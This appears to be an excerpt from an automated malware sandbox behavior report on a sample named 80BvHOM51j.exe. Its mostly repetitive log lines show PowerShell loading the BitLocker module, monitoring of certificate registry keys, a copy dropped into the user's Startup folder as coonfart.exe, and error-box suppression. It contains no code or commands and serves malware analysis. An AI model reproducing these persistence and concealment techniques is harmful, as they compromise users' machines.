Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\80BvHOM51j.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
